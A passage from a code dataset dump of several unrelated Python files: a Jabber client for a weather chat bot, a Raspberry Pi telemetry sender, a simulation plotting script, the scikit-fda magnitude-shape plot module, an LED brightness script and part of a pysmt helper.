\"\"\"\n log.msg(elem.toXml().encode(\"utf-8\"))\n\n\ndef raw_data_out(data):\n \"\"\"\n Debug method\n @param data string of what data was sent\n \"\"\"\n if isinstance(data, bytes):\n data = data.decode(\"utf-8\", errors=\"ignore\")\n if data == \" \":\n return\n log.msg(\"SEND %s\" % (data,))\n\n\nclass JabberClient(object):\n \"\"\"\n I am an important class of a jabber client against the chat server,\n used by pretty much every ingestor as that is how messages are routed\n to nwsbot\n \"\"\"\n\n def __init__(self, myjid):\n \"\"\"\n Constructor\n\n @param jid twisted.words.jid object\n \"\"\"\n self.myjid = myjid\n self.xmlstream = None\n self.authenticated = False\n self.routerjid = \"%s@%s\" % (\n SETTINGS.get(\"bot.username\", \"nwsbot\"),\n SETTINGS.get(\"pywwa_jabber_domain\", \"nwschat.weather.gov\"),\n )\n\n def authd(self, xstream):\n \"\"\"\n Callbacked once authentication succeeds\n @param xs twisted.words.xish.xmlstream\n \"\"\"\n log.msg(\"Logged in as %s\" % (self.myjid,))\n self.authenticated = True\n\n self.xmlstream = xstream\n self.xmlstream.rawDataInFn = raw_data_in\n self.xmlstream.rawDataOutFn = raw_data_out\n\n # Process Messages\n self.xmlstream.addObserver(\"/message/body\", message_processor)\n\n # Send initial presence\n presence = domish.Element((\"jabber:client\", \"presence\"))\n presence.addElement(\"status\").addContent(\"Online\")\n self.xmlstream.send(presence)\n\n # Whitespace ping to keep our connection happy\n lc = LoopingCall(self.keepalive)\n lc.start(60)\n self.xmlstream.addObserver(STREAM_END_EVENT, lambda _: lc.stop())\n\n def keepalive(self):\n \"\"\"\n Send whitespace ping to the server every so often\n \"\"\"\n self.xmlstream.send(\" \")\n\n def disconnect(self, _xs):\n \"\"\"\n Called when we are disconnected from the server, I guess\n \"\"\"\n log.msg(\"SETTING authenticated to false!\")\n self.authenticated = False\n\n def send_message(self, body, html, xtra):\n \"\"\"\n Send a message to nwsbot. This message should have\n @param body plain text variant\n @param html html version of the message\n @param xtra dictionary of stuff that tags along\n \"\"\"\n if not self.authenticated:\n log.msg(\"No Connection, Lets wait and try later...\")\n reactor.callLater(\n 3, self.send_message, body, html, xtra # @UndefinedVariable\n )\n return\n message = domish.Element((\"jabber:client\", \"message\"))\n message[\"to\"] = self.routerjid\n message[\"type\"] = \"chat\"\n\n # message.addElement('subject',None,subject)\n body = ILLEGAL_XML_CHARS_RE.sub(\"\", body)\n if html:\n html = ILLEGAL_XML_CHARS_RE.sub(\"\", html)\n message.addElement(\"body\", None, body)\n helem = message.addElement(\n \"html\", \"http://jabber.org/protocol/xhtml-im\"\n )\n belem = helem.addElement(\"body\", \"http://www.w3.org/1999/xhtml\")\n belem.addRawXml(html or body)\n # channels is of most important\n xelem = message.addElement(\"x\", \"nwschat:nwsbot\")\n for key in xtra.keys():\n if isinstance(xtra[key], list):\n xelem[key] = \",\".join(xtra[key])\n else:\n xelem[key] = xtra[key]\n # So send_message may be getting called from 'threads' and the writing\n # of data to the transport is not thread safe, so we must ensure that\n # this gets called from the main thread\n reactor.callFromThread(\n self.xmlstream.send, message # @UndefinedVariable\n )\n\n\n# This is blocking, but necessary to make sure settings are loaded before\n# we go on our merry way\nsetup_syslog()\nload_settings()\n","sub_path":"parsers/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":11488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"229312408","text":"import requests\n# import json - never used\nimport time\nfrom config import ConfigStore\nfrom threading import Thread\n\n\nclass API_Engine(Thread):\n class __Singleton:\n def __init__(self):\n pass\n\n instance = None\n\n def __init__(self):\n super(API_Engine, self).__init__()\n if not API_Engine.instance:\n API_Engine.instance = API_Engine.__Singleton()\n self.instance.log = False\n self.instance.send = False\n self.instance.pid_data = {}\n self.instance.pos_data = {}\n\n def run(self):\n while True:\n print('*****send data *****')\n time.sleep(1)\n if self.instance.pid_data or self.instance.pos_data:\n pids = []\n for pid in self.instance.pid_data.items():\n pids.append({'pid': pid[0], 'data': pid[1]})\n pid_body = {'vehicleId': ConfigStore().get_vid(), 'pids': pids}\n print('PID body' + str(pid_body))\n if self.instance.pos_data:\n pid_body['latititude'] = self.instance.pos_data['latitude']\n pid_body['longitude'] = self.instance.pos_data['longitude']\n result = self.do_request('post',\n url=ConfigStore().get_server_uri() + ':8082' + '/usage/add',\n body=pid_body)\n print('++Send data++' + str(result.json()))\n self.instance.pid_data = {}\n self.instance.pos_data = {}\n\n def set_logging(self, log):\n self.instance.log = log\n\n def set_send(self, send):\n self.instance.send = send\n\n def pid_send(self, pid, data):\n self.instance.pid_data[pid] = data\n\n def pos_send(self, lat, lon):\n self.instance.pos_data = {'latitude': lat, 'longitude': lon}\n\n def get_vehicle(self):\n result = self.do_request('get', url=ConfigStore().get_server_uri() + ':8080/vehicle/' + ConfigStore().get_vid())\n print('hello', result.json())\n return result.json()\n\n def do_request(self, type, url, body={}): # NOQA\n response = ''\n if self.instance.log:\n print(type + ' ' + url + ' ' + str(body))\n time.sleep(.5)\n if self.instance.send:\n if type == 'put':\n response = requests.put(url=url, json=body)\n elif type == 'post':\n response = requests.post(url=url, json=body)\n elif type == 'delete':\n if body:\n response = requests.delete(url=url, json=body)\n else:\n response = requests.delete(url=url)\n elif type == 'get':\n response = requests.get(url=url)\n print('DEBUG:url', url, 'response ', response)\n return response\n","sub_path":"FleetManagement/rasp_pi_tests/api_engine.py","file_name":"api_engine.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"42178892","text":"import matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np\nimport pandas as pd\nimport os\nfrom scipy.interpolate import interp1d\n\nmatplotlib.rc('xtick', labelsize=11)\nmatplotlib.rc('ytick', labelsize=11)\n\n\nclass Sim:\n \"\"\"\n Classe base para cada um dos arquivos de dados.\n\n Attributes:\n file: Nome do arquivo onde está localizada a simulação.\n fam_name (string): Nome da familia, identificado como o primeiro conjunto antes do underscore.\n size (string): Tamanho da estrutura, atualmente pode ser 10mm = 1000, 5mm = 0500, 2.5mm = 0250.\n \"\"\"\n fam_name: \"Family not Determined\"\n size: \"Size not determined\"\n sqr_height = -1\n sqr_width = -1\n sqr_area = -1\n surf_area = -1\n area_density = -1\n\n def __init__(self, file, fam_name, size):\n arq_read = pd.read_csv(file, skiprows=2)\n self.kin_en = arq_read.iloc[:, 2]\n self.time = arq_read.iloc[:, 1]\n\n self.kin_en *= 1e-6\n\n self.kin_en_i = self.kin_en[0]\n self.kin_en_f = self.kin_en[len(self.kin_en)-1]\n\n self.fam_name = fam_name\n self.size = size\n\n if size == \"1000\":\n self.linest = \"solid\"\n self.marker = \"o\"\n elif size == \"0500\":\n self.linest = \"dotted\"\n self.marker = \"s\"\n elif size == \"0250\":\n self.linest = \"dashed\"\n self.marker = \"P\"\n else:\n self.linest = \"dashdot\"\n\n\ndef sorting(l1, l2):\n idx = np.argsort(l1)\n return l1[idx], l2[idx]\n\n\ndef structure_count(structs):\n me = 0\n so = 0\n hom = 0\n for struc in structs:\n if struc.fam_name[0:2] == \"ME\":\n me += 1\n elif struc.fam_name[0:2] == \"SO\":\n so += 1\n elif struc.fam_name[0:3] == \"Hom\":\n hom += 1\n else:\n raise ValueError(\"Nome da família não especificado no contador de estruturas.\")\n return me, so, hom\n\n\ndef hom_setup(structs):\n for struc in structs:\n if struc.fam_name[0:3] == \"Hom\":\n default_height = 1200\n struc.area_density = int(struc.size)/default_height\n\n\ndef delta_kin_area_list(structs):\n me, so, hom = structure_count(structs)\n me = int((me + 1) / 3)\n so = int(so / 3)\n hom = int(hom)\n # print(me)\n # print(so)\n # print(hom)\n delta_kin_me = [np.zeros(me), np.zeros(me), np.zeros(me-1)]\n area_dens_me = [np.zeros(me), np.zeros(me), np.zeros(me-1)]\n delta_kin_so = [np.zeros(so), np.zeros(so), np.zeros(so)]\n area_dens_so = [np.zeros(so), np.zeros(so), np.zeros(so)]\n delta_kin_hom = np.zeros(hom)\n area_dens_hom = np.zeros(hom)\n\n idx_0250 = 0\n idx_0500 = 0\n idx_1000 = 0\n idx_0250_so = 0\n idx_0500_so = 0\n idx_1000_so = 0\n idx_hom = 0\n for struct in structs:\n # print(struct.fam_name)\n delta_kin = struct.kin_en_i - struct.kin_en_f\n if struct.fam_name[0:2] == \"ME\":\n if struct.size == \"0250\":\n delta_kin_me[2][idx_0250] = delta_kin\n area_dens_me[2][idx_0250] = struct.area_density\n idx_0250 += 1\n elif struct.size == \"0500\":\n delta_kin_me[1][idx_0500] = delta_kin\n area_dens_me[1][idx_0500] = struct.area_density\n idx_0500 += 1\n elif struct.size == \"1000\":\n delta_kin_me[0][idx_1000] = delta_kin\n area_dens_me[0][idx_1000] = struct.area_density\n idx_1000 += 1\n elif struct.fam_name[0:2] == \"SO\":\n if struct.size == \"0250\":\n delta_kin_so[2][idx_0250_so] = delta_kin\n area_dens_so[2][idx_0250_so] = struct.area_density\n idx_0250_so += 1\n elif struct.size == \"0500\":\n delta_kin_so[1][idx_0500_so] = delta_kin\n area_dens_so[1][idx_0500_so] = struct.area_density\n idx_0500_so += 1\n elif struct.size == \"1000\":\n delta_kin_so[0][idx_1000_so] = delta_kin\n area_dens_so[0][idx_1000_so] = struct.area_density\n idx_1000_so += 1\n elif struct.fam_name[0:3] == \"Hom\":\n delta_kin_hom[idx_hom] = delta_kin\n area_dens_hom[idx_hom] = struct.area_density\n idx_hom += 1\n for i in range(3):\n area_dens_me[i], delta_kin_me[i] = sorting(area_dens_me[i], delta_kin_me[i])\n area_dens_so[i], delta_kin_so[i] = sorting(area_dens_so[i], delta_kin_so[i])\n area_dens_hom, delta_kin_hom = sorting(area_dens_hom, delta_kin_hom)\n\n return area_dens_me, area_dens_so, area_dens_hom, delta_kin_me, delta_kin_so, delta_kin_hom\n\n\ndef kin_en_dens_line(area_dens_me, area_dens_so, area_dens_hom, delta_kin_me, delta_kin_so, delta_kin_hom):\n \"\"\"\n Func para organizar os arrays com os resultados de delta kin e dens de area.\n\n :param area_dens_hom: densidade de area das estruturas homogoneas.\n :param area_dens_so: densidade de area das estruturas em S.\n :param area_dens_me: densidade de area das estruturas de master evans.\n :param delta_kin_me: delta de energia cin das estruturas de master evans.\n :param delta_kin_hom: delta de energia cin das estruturas homogeneas.\n :param delta_kin_so: delta de energia cin das estruturas em S.\n :return: Duas listas de arrays, em ordem kin_en, area_dens da maior pra menor estrutura.\n \"\"\"\n fig_line_me, ax_lin_me = plt.subplots(figsize=(12, 8))\n fig_line_me.suptitle('Estrutura de Master Evans', fontsize=16)\n fig_line_so, ax_lin_so = plt.subplots(figsize=(12, 8))\n fig_line_so.suptitle('Estrutura em S', fontsize=16)\n fig_line_hom, ax_lin_hom = plt.subplots(figsize=(12, 8))\n fig_line_hom.suptitle('Chapas homogeneas', fontsize=16)\n fig_line_tot, ax_lin_tot = plt.subplots(figsize=(12, 8))\n fig_line_tot.suptitle('Todas as estruturas', fontsize=16)\n\n ax_lin_me.plot(area_dens_me[0], delta_kin_me[0], marker='o', color='lightsteelblue', label='10mm')\n ax_lin_me.plot(area_dens_me[1], delta_kin_me[1], marker='s', color='cornflowerblue', label='5mm')\n ax_lin_me.plot(area_dens_me[2], delta_kin_me[2], marker='P', color='blue', label='2.5mm')\n ax_lin_so.plot(area_dens_so[0], delta_kin_so[0], marker='o', color='lightcoral', label='10mm')\n ax_lin_so.plot(area_dens_so[1], delta_kin_so[1], marker='s', color='firebrick', label='5mm')\n ax_lin_so.plot(area_dens_so[2], delta_kin_so[2], marker='P', color='red', label='2.5mm')\n ax_lin_hom.plot(area_dens_hom, delta_kin_hom, marker='p', color='gold', label='Homogeneo')\n # Plot do graf de todas\n ax_lin_tot.plot(area_dens_me[0], delta_kin_me[0], marker='o', color='lightsteelblue', label='ME 10mm')\n ax_lin_tot.plot(area_dens_me[1], delta_kin_me[1], marker='s', color='cornflowerblue', label='ME 5mm')\n ax_lin_tot.plot(area_dens_me[2], delta_kin_me[2], marker='P', color='blue', label='ME 2.5mm')\n ax_lin_tot.plot(area_dens_so[0], delta_kin_so[0], marker='o', color='lightcoral', label='SO 10mm')\n ax_lin_tot.plot(area_dens_so[1], delta_kin_so[1], marker='s', color='firebrick', label='SO 5mm')\n ax_lin_tot.plot(area_dens_so[2], delta_kin_so[2], marker='P', color='red', label='SO 2.5mm')\n ax_lin_tot.plot(area_dens_hom, delta_kin_hom, marker='p', color='gold', label='Homogeneo')\n\n ax_lin_hom.set_xlabel('Massa relativa', fontsize=14)\n ax_lin_me.set_xlabel('Massa relativa', fontsize=14)\n ax_lin_so.set_xlabel('Massa relativa', fontsize=14)\n ax_lin_hom.set_ylabel('Absorção de energia cinética', fontsize=14)\n ax_lin_me.set_ylabel('Absorção de energia cinética', fontsize=14)\n ax_lin_so.set_ylabel('Absorção de energia cinética', fontsize=14)\n ax_lin_me.legend()\n ax_lin_me.grid()\n ax_lin_so.legend()\n ax_lin_so.grid()\n ax_lin_hom.grid()\n ax_lin_tot.grid()\n ax_lin_tot.legend()\n\n\ndef percentage_plot(area_me, area_so, area_hom, delta_me, delta_so, delta_hom):\n \"\"\"\n Grafico com as porcentagens relativas das estruturas.\n\n :param area_me: densidade de area master evans\n :param area_so: densidade de area estrutura S\n :param area_hom: densidade de area hom\n :param delta_me: delta de energia cinetica master evans\n :param delta_so: delta de energia cinetica estrutura em S\n :param delta_hom: delta de energia cinetica homogenea\n :return: grafico das percentagens de absorc.\n \"\"\"\n\n fig_pe_me, ax_pe_me = plt.subplots(figsize=(12, 8))\n fig_pe_me.suptitle('Grafico de desempenho', fontsize=16)\n\n fdelta_me = []\n f_area_me = []\n fdelta_so = []\n f_area_so = []\n\n for idx in range(3):\n fdelta_me.append(interp1d(area_me[idx], delta_me[idx]))\n f_area_me.append(np.linspace(area_me[idx][0], area_me[idx][len(area_me[idx])-1]))\n fdelta_so.append(interp1d(area_so[idx], delta_so[idx]))\n f_area_so.append(np.linspace(area_so[idx][0], area_so[idx][len(area_so[idx]) - 1]))\n\n fdelta_hom = interp1d(area_hom, delta_hom)\n f_area_hom = np.linspace(area_hom, area_hom[len(area_hom) - 1])\n\n delta_percent_me = delta_me\n for idx in range(3):\n for jdx in range(len(area_me[idx])):\n delta_percent_me[idx][jdx] = fdelta_me[idx](area_me[idx][jdx])/fdelta_hom(area_me[idx][jdx])\n # Falta um numero nas esturutras de 2.5 entao preciso colocar um zero na frente\n delta_percent_me[2] = np.hstack((0, delta_percent_me[2]))\n area_me[2] = np.hstack((0.35, area_me[2]))\n\n xpos = np.arange(0, 10)\n\n for idx in range(3):\n if idx == 0:\n cor = 'lightsteelblue'\n label = '10mm'\n elif idx == 1:\n cor = 'cornflowerblue'\n label = '5mm'\n else:\n cor = 'blue'\n label = '2.5mm'\n bar_width = 0.3\n ax_pe_me.bar(xpos + bar_width*idx, delta_percent_me[idx], bar_width, color=cor, label=label)\n\n x_labels = area_me[0] * 100\n for idx in range(len(area_me[0])):\n x_labels[idx] = int(x_labels[idx])\n\n ax_pe_me.set_xticks(np.arange(0, 10))\n ax_pe_me.set_xticklabels(x_labels)\n ax_pe_me.legend(loc='lower right')\n\n\ndef read_structures():\n structures = []\n structure_counter = 0\n for fil in os.listdir(\"Arquivos_Sim_leitura\"):\n if fil.endswith(\".uhs\"):\n name = fil\n # print(fil)\n\n name = name.split('_')\n # print(name)\n fam_name = name[0]\n # print(fam_name)\n size = name[1]\n size = size.rsplit('.')\n size = size[0]\n # print(size)\n file_name = os.path.join(\"Arquivos_Sim_leitura\", fil)\n\n structures.append(Sim(file_name, fam_name, size))\n structure_counter += 1\n read_areas(structures)\n return structures\n\n\ndef read_areas(structures):\n areas_arq = open(\"Arquivos_Sim_leitura/areas.txt\", 'r')\n lines = areas_arq.readlines()\n for i in range(1, len(lines) - 1):\n # print(i)\n line_split = lines[i].split()\n name = line_split[0]\n name_split = name.split('_')\n fam = name_split[0]\n size = name_split[1]\n # print(fam, size)\n height = float(line_split[2])\n width = float(line_split[4])\n area = float(line_split[6])\n # print(height, width, area)\n # Inclusao destes dados nas estruturas.\n for structure in structures:\n if fam == structure.fam_name and size == structure.size:\n structure.sqr_height = height\n structure.sqr_width = width\n structure.surf_area = area\n structure.sqr_area = height * width\n structure.area_density = structure.surf_area / structure.sqr_area\n\n areas_arq.close()\n\n\nstructures = read_structures()\nhom_setup(structures) # Setup da densidade de area dos homogeneos\narea_dens_me, area_dens_so, area_dens_hom, delta_kin_me, delta_kin_so, delta_kin_hom = delta_kin_area_list(structures)\nkin_en_dens_line(area_dens_me, area_dens_so, area_dens_hom, delta_kin_me, delta_kin_so, delta_kin_hom)\npercentage_plot(area_dens_me, area_dens_so, area_dens_hom, delta_kin_me, delta_kin_so, delta_kin_hom)\nplt.show()\n\n\n","sub_path":"TCC_Kin_Energy_v2.py","file_name":"TCC_Kin_Energy_v2.py","file_ext":"py","file_size_in_byte":12119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"162905700","text":"\"\"\"Magnitude-Shape Plot Module.\n\nThis module contains the necessary functions to construct the Magnitude-Shape\nPlot. First the directional outlingness is calculated and then, an outliers\ndetection method is implemented.\n\n\"\"\"\n\nimport matplotlib\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom ..depth import modified_band_depth\nfrom ..outliers import DirectionalOutlierDetector\nfrom ._utils import _figure_to_svg, _get_figure_and_axes, _set_figure_layout\n\n\n__author__ = \"Amanda Hernando Bernabé\"\n__email__ = \"amanda.hernando@estudiante.uam.es\"\n\n\nclass MagnitudeShapePlot:\n r\"\"\"Implementation of the magnitude-shape plot\n\n This plot, which is based on the calculation of the :func:`directional\n outlyingness `\n of each of the samples, serves as a visualization tool for the centrality\n of curves. Furthermore, an outlier detection procedure is included.\n\n The norm of the mean of the directional outlyingness (:math:`\\lVert\n \\mathbf{MO}\\rVert`) is plotted in the x-axis, and the variation of the\n directional outlyingness (:math:`VO`) in the y-axis.\n\n The outliers are detected using an instance of\n :class:`DirectionalOutlierDetector`.\n\n Attributes:\n fdatagrid (FDataGrid): Object to be visualized.\n depth_method (:ref:`depth measure `, optional): Method\n used to order the data. Defaults to :func:`modified band depth\n `.\n pointwise_weights (array_like, optional): an array containing the\n weights of each points of discretisation where values have been\n recorded.\n alpha(float, optional): Denotes the quantile to choose the cutoff\n value for detecting outliers Defaults to 0.993, which is used\n in the classical boxplot.\n points(numpy.ndarray): 2-dimensional matrix where each row\n contains the points plotted in the graph.\n outliers (1-D array, (fdatagrid.n_samples,)): Contains 1 or 0 to denote\n if a sample is an outlier or not, respecively.\n colormap(matplotlib.pyplot.LinearSegmentedColormap, optional): Colormap\n from which the colors of the plot are extracted. Defaults to\n 'seismic'.\n color (float, optional): Tone of the colormap in which the nonoutlier\n points are plotted. Defaults to 0.2.\n outliercol (float, optional): Tone of the colormap in which the\n outliers are plotted. Defaults to 0.8.\n xlabel (string, optional): Label of the x-axis. Defaults to 'MO',\n mean of the directional outlyingness.\n ylabel (string, optional): Label of the y-axis. Defaults to 'VO',\n variation of the directional outlyingness.\n title (string, optional): Title of the plot. defaults to 'MS-Plot'.\n\n Example:\n\n >>> import skfda\n >>> from skfda.exploratory.depth import modified_band_depth\n >>> data_matrix = [[1, 1, 2, 3, 2.5, 2],\n ... [0.5, 0.5, 1, 2, 1.5, 1],\n ... [-1, -1, -0.5, 1, 1, 0.5],\n ... [-0.5, -0.5, -0.5, -1, -1, -1]]\n >>> sample_points = [0, 2, 4, 6, 8, 10]\n >>> fd = skfda.FDataGrid(data_matrix, sample_points)\n >>> MagnitudeShapePlot(fd)\n MagnitudeShapePlot(\n FDataGrid=FDataGrid(\n array([[[ 1. ],\n [ 1. ],\n [ 2. ],\n [ 3. ],\n [ 2.5],\n [ 2. ]],\n [[ 0.5],\n [ 0.5],\n [ 1. ],\n [ 2. ],\n [ 1.5],\n [ 1. ]],\n [[-1. ],\n [-1. ],\n [-0.5],\n [ 1. ],\n [ 1. ],\n [ 0.5]],\n [[-0.5],\n [-0.5],\n [-0.5],\n [-1. ],\n [-1. ],\n [-1. ]]]),\n sample_points=[array([ 0, 2, 4, 6, 8, 10])],\n domain_range=array([[ 0, 10]]),\n dataset_label=None,\n axes_labels=None,\n extrapolation=None,\n interpolator=SplineInterpolator(interpolation_order=1,\n smoothness_parameter=0.0, monotone=False),\n keepdims=False),\n depth_method=projection_depth,\n pointwise_weights=None,\n alpha=0.993,\n points=array([[ 1.12415127, 0.05813094],\n [ 0. , 0. ],\n [-0.53959261, 0.08037234],\n [-1.17661166, 0.4294388 ]]),\n outliers=array([False, False, False, False]),\n colormap=seismic,\n color=0.2,\n outliercol=(0.8,),\n xlabel='MO',\n ylabel='VO',\n title='MS-Plot')\n \"\"\"\n\n def __init__(self, fdatagrid, **kwargs):\n \"\"\"Initialization of the MagnitudeShapePlot class.\n\n Args:\n fdatagrid (FDataGrid): Object containing the data.\n depth_method (:ref:`depth measure `, optional):\n Method used to order the data. Defaults to :func:`projection\n depth `.\n pointwise_weights (array_like, optional): an array containing the\n weights of each points of discretisati on where values have\n been recorded.\n alpha (float, optional): Denotes the quantile to choose the cutoff\n value for detecting outliers Defaults to 0.993, which is used\n in the classical boxplot.\n assume_centered (boolean, optional): If True, the support of the\n robust location and the covariance estimates is computed, and a\n covariance estimate is recomputed from it, without centering\n the data. Useful to work with data whose mean is significantly\n equal to zero but is not exactly zero. If False, default value,\n the robust location and covariance are directly computed with\n the FastMCD algorithm without additional treatment.\n support_fraction (float, 0 < support_fraction < 1, optional): The\n proportion of points to be included in the support of the\n raw MCD estimate.\n Default is None, which implies that the minimum value of\n support_fraction will be used within the algorithm:\n [n_sample + n_features + 1] / 2\n random_state (int, RandomState instance or None, optional): If int,\n random_state is the seed used by the random number generator;\n If RandomState instance, random_state is the random number\n generator; If None, the random number generator is the\n RandomState instance used by np.random. By default, it is 0.\n\n \"\"\"\n\n if fdatagrid.dim_codomain > 1:\n raise NotImplementedError(\n \"Only support 1 dimension on the codomain.\")\n\n self.outlier_detector = DirectionalOutlierDetector(**kwargs)\n\n y = self.outlier_detector.fit_predict(fdatagrid)\n\n outliers = (y == -1)\n\n self._fdatagrid = fdatagrid\n self._outliers = outliers\n self._colormap = plt.cm.get_cmap('seismic')\n self._color = 0.2\n self._outliercol = 0.8,\n self.xlabel = 'MO'\n self.ylabel = 'VO'\n self.title = 'MS-Plot'\n\n @property\n def fdatagrid(self):\n return self._fdatagrid\n\n @property\n def depth_method(self):\n return self.outlier_detector.depth_method\n\n @property\n def pointwise_weights(self):\n return self.outlier_detector.pointwise_weights\n\n @property\n def alpha(self):\n return self.outlier_detector.alpha\n\n @property\n def points(self):\n return self.outlier_detector.points_\n\n @property\n def outliers(self):\n return self._outliers\n\n @property\n def colormap(self):\n return self._colormap\n\n @colormap.setter\n def colormap(self, value):\n if not isinstance(value, matplotlib.colors.LinearSegmentedColormap):\n raise ValueError(\"colormap must be of type \"\n \"matplotlib.colors.LinearSegmentedColormap\")\n self._colormap = value\n\n @property\n def color(self):\n return self._color\n\n @color.setter\n def color(self, value):\n if value < 0 or value > 1:\n raise ValueError(\n \"color must be a number between 0 and 1.\")\n\n self._color = value\n\n @property\n def outliercol(self):\n return self._outliercol\n\n @outliercol.setter\n def outliercol(self, value):\n if value < 0 or value > 1:\n raise ValueError(\n \"outcol must be a number between 0 and 1.\")\n self._outliercol = value\n\n def plot(self, chart=None, *, fig=None, axes=None,):\n \"\"\"Visualization of the magnitude shape plot of the fdatagrid.\n\n Args:\n ax (axes object, optional): axes over where the graph is plotted.\n Defaults to matplotlib current axis.\n\n Returns:\n fig (figure object): figure object in which the graph is plotted.\n\n \"\"\"\n\n fig, axes = _get_figure_and_axes(chart, fig, axes)\n fig, axes = _set_figure_layout(fig, axes)\n\n colors = np.zeros((self.fdatagrid.n_samples, 4))\n colors[np.where(self.outliers == 1)] = self.colormap(self.outliercol)\n colors[np.where(self.outliers == 0)] = self.colormap(self.color)\n\n colors_rgba = [tuple(i) for i in colors]\n axes[0].scatter(self.points[:, 0].ravel(), self.points[:, 1].ravel(),\n color=colors_rgba)\n\n axes[0].set_xlabel(self.xlabel)\n axes[0].set_ylabel(self.ylabel)\n axes[0].set_title(self.title)\n\n return fig\n\n def __repr__(self):\n \"\"\"Return repr(self).\"\"\"\n return (f\"MagnitudeShapePlot(\"\n f\"\\nFDataGrid={repr(self.fdatagrid)},\"\n f\"\\ndepth_method={self.depth_method.__name__},\"\n f\"\\npointwise_weights={repr(self.pointwise_weights)},\"\n f\"\\nalpha={repr(self.alpha)},\"\n f\"\\npoints={repr(self.points)},\"\n f\"\\noutliers={repr(self.outliers)},\"\n f\"\\ncolormap={self.colormap.name},\"\n f\"\\ncolor={repr(self.color)},\"\n f\"\\noutliercol={repr(self.outliercol)},\"\n f\"\\nxlabel={repr(self.xlabel)},\"\n f\"\\nylabel={repr(self.ylabel)},\"\n f\"\\ntitle={repr(self.title)})\").replace('\\n', '\\n ')\n\n def _repr_svg_(self):\n fig = self.plot()\n return _figure_to_svg(fig)\n","sub_path":"skfda/exploratory/visualization/_magnitude_shape_plot.py","file_name":"_magnitude_shape_plot.py","file_ext":"py","file_size_in_byte":11059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"113541546","text":"#!/usr/bin/env python\n\nimport sys\nimport blinkt\nimport json\nimport time\nimport random\nimport os.path\n\n\ndef usage():\n print(\"Usage: {} \".format(sys.argv[0]))\n sys.exit(1)\n\nif len(sys.argv) != 3:\n usage()\n\ntry:\n brightness = int(sys.argv[2])\nexcept ValueError:\n usage()\n\n\n# either read the cache file or initialize cache with all pixels off\nfname = sys.argv[1]\nif os.path.isfile(fname):\n if os.path.getsize(fname) == 0:\n time.sleep(random.uniform(0.07,0.22))\n with open(fname) as f:\n pixels = json.load(f)\nelse:\n pixels = [[0, 0, 0, blinkt.BRIGHTNESS]] * blinkt.NUM_PIXELS\n\n# restore pixel states from cache file, but adjust brightness\nfor x in range(blinkt.NUM_PIXELS):\n pixels[x][3] = brightness\n blinkt.set_pixel(x, pixels[x][0], pixels[x][1], pixels[x][2], pixels[x][3] / 10.0)\n\n# push the changed pixel to Blinkt! device\nblinkt.set_clear_on_exit(False)\nblinkt.show()\n\n# save the cache to file\nwith open(fname, 'w') as outfile:\n json.dump(pixels, outfile)\n","sub_path":"v1/set-brightness.py","file_name":"set-brightness.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"156641132","text":"\"\"\"Helper functions to encode formulas (in practice, handle the copy\nof variables at different times and their substitution into formulas)\n\nTODO: memoization needs to be aware of the prefix\n\"\"\"\n\nfrom pysmt import shortcuts\nfrom pysmt.shortcuts import Symbol, substitute\n\nfrom pysmt.exceptions import UndefinedSymbolError\n\nclass Helper:\n def __init__(self,env):\n self.env = env\n self.time_memo = {}\n\n @staticmethod\n def get_next_var(var, mgr):\n \"\"\"Given a variable returns the correspondent variable with the next suffix.\n It is used when describing transition relations (over var and var_next)\n \"\"\"\n return Helper.get_new_var(var, mgr, None, \"\", \"_next\")\n\n @staticmethod\n def get_next_variables(vars, mgr):\n \"\"\"As get_next_var for a set of variables.\n Returns a set (so no order is kept)\n \"\"\"\n return Helper.get_new_variables(vars, mgr, None, \"\", \"_next\")\n\n @staticmethod\n def get_new_var(var, mgr, old2new_map, prefix, suffix):\n \"\"\"Returns a variable named as\n _var_ of the same type of var.\n\n If the variable does not exists it is created from scratch\n (so, do NOT expect a fresh variable here)\n \"\"\"\n assert var.is_symbol()\n base = \"%s%s%s\" % (prefix, var.symbol_name(), suffix)\n try:\n new_symbol = mgr.get_symbol(base)\n except UndefinedSymbolError as e:\n new_symbol = Symbol(base, var.symbol_type())\n assert new_symbol != None\n if None != old2new_map:\n old2new_map[var] = new_symbol\n return new_symbol\n\n @staticmethod\n def get_new_variables(vars, mgr, old2new_map, prefix, suffix):\n \"\"\"As get_new_var for a list of variables\"\"\"\n next_var_list = []\n for v in vars:\n assert v.is_symbol()\n next_symbol = Helper.get_new_var(v, mgr, old2new_map, prefix, suffix)\n next_var_list.append(next_symbol)\n return frozenset(next_var_list)\n\n def get_formula_at_i(self, vars, formula, i, prefix = \"bmc_\"):\n \"\"\"Change formula replacing every variable var in vars with a variable\n named _var_i and every variable var_next with a\n variable named _var_j, where j is i+1.\n\n Example for i = 0, prefix = bmc_\n\n Input: (v & v_next) | p\n Output: (bmc_v_0 & bmc_v_1) | bmc_p_0\n \"\"\"\n if i in self.time_memo:\n time_i_map = self.time_memo[i]\n else:\n time_i_map = {}\n\n Helper.get_new_variables(vars,\n self.env.formula_manager,\n time_i_map,\n prefix,\n \"_%d\" % i)\n\n app_map = {}\n Helper.get_new_variables(vars,\n self.env.formula_manager,\n app_map,\n prefix,\n \"_%d\" % (i+1))\n for k,v in app_map.iteritems():\n next_var = Helper.get_next_var(k, self.env.formula_manager)\n time_i_map[next_var] = v\n app_map = None\n\n self.time_memo[i] = time_i_map\n\n f_at_i = substitute(formula, time_i_map)\n return f_at_i\n\n\n def get_next_formula(self, vars, formula):\n \"\"\"Given a formula returns the same formula where all the variables\n in vars are renamed to var_next\"\"\"\n next_map = {}\n Helper.get_new_variables(vars, self.env.formula_manager, next_map, \"\", \"_next\")\n\n # Adi: directly calling walk bypasses checks, and hence is faster\n #next_formula = substitute(formula, next_map)\n next_formula = self.env.substituter.walk(formula, substitutions=next_map)\n return next_formula\n\n\n def get_var_at_time(self, var, time):\n \"\"\"Returns the variable at time \"time\" or None if the var was\n not created\"\"\"\n assert 